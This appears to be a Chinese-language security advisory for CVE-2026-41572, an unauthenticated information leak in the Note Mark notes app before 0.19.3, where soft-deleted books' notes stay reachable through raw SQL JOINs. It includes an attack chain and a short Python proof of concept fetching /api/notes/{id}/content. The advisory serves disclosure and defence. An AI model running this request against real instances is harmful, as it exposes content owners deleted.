IPBUF安全漏洞报告
English
CVE-2026-41572 CVSS 5.3 中危

CVE-2026-41572 Note Mark软删除信息泄露漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-41572
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Note Mark

相关标签

信息泄露访问控制失效Note Mark软删除绕过CVE-2026-41572

漏洞概述

Note Mark是一款开源笔记应用。在0.19.3版本之前,存在一个信息泄露漏洞。当笔记所有者软删除公共书籍后,其内部的笔记和上传资产并未真正隔离,仍可通过特定API端点被访问。原因是后端GORM框架的软删除作用域未能正确应用于原始SQL JOIN查询。未认证的攻击者若持有笔记ID或slug,即可绕过删除机制读取本应失效的敏感内容。

技术细节

该漏洞的根本原因在于Note Mark应用后端使用了GORM框架,但在查询笔记和资产时使用了原始SQL的“JOIN books ...”子句。GORM的软删除功能通常通过添加“deleted_at IS NULL”条件来实现,但这种默认作用域无法自动穿透到原始SQL查询中。因此,当管理员软删除一个公共书籍后,数据库仅标记了书籍记录为已删除,而关联的笔记和资产记录并未正确被软删除逻辑过滤。攻击者若预先获取了笔记ID或slug路径,即便在书籍被删除后,依然可以直接请求相关API端点,绕过权限验证,成功获取到本应不可见的笔记内容和资产文件。这表明在混合使用ORM和原生SQL时,必须显式处理软删除逻辑。

攻击链分析

STEP 1
Information Gathering
攻击者访问Note Mark应用,发现公共书籍并记录特定笔记的ID或Slug路径。
STEP 2
Soft Delete Trigger
书籍所有者执行软删除操作,移除公共书籍。
STEP 3
Exploitation
攻击者利用之前记录的ID,向/api/notes/{id}等端点发送GET请求。
STEP 4
Data Leakage
由于GORM软删除作用域失效,后端返回了已删除笔记的内容,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Note Mark instance target_url = "http://target-domain.com" # The ID or slug of a note that belongs to a soft-deleted book note_id = "1" # Endpoint to access note content # Vulnerable endpoints include /api/notes/{id}, /api/notes/{id}/content endpoint = f"{target_url}/api/notes/{note_id}/content" try: # Send GET request without authentication response = requests.get(endpoint) # Check if the note content is still accessible (HTTP 200 OK) if response.status_code == 200: print(f"[+] Vulnerability Confirmed! Note content retrieved:") print(response.text) else: print(f"[-] Note not accessible. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Note Mark < 0.19.3

防御指南

临时缓解措施
建议立即升级到修复版本。若暂时无法升级,应在Web应用防火墙(WAF)层面对相关API端点实施额外的访问控制逻辑,或通过数据库脚本清理已软删除书籍关联的残留数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表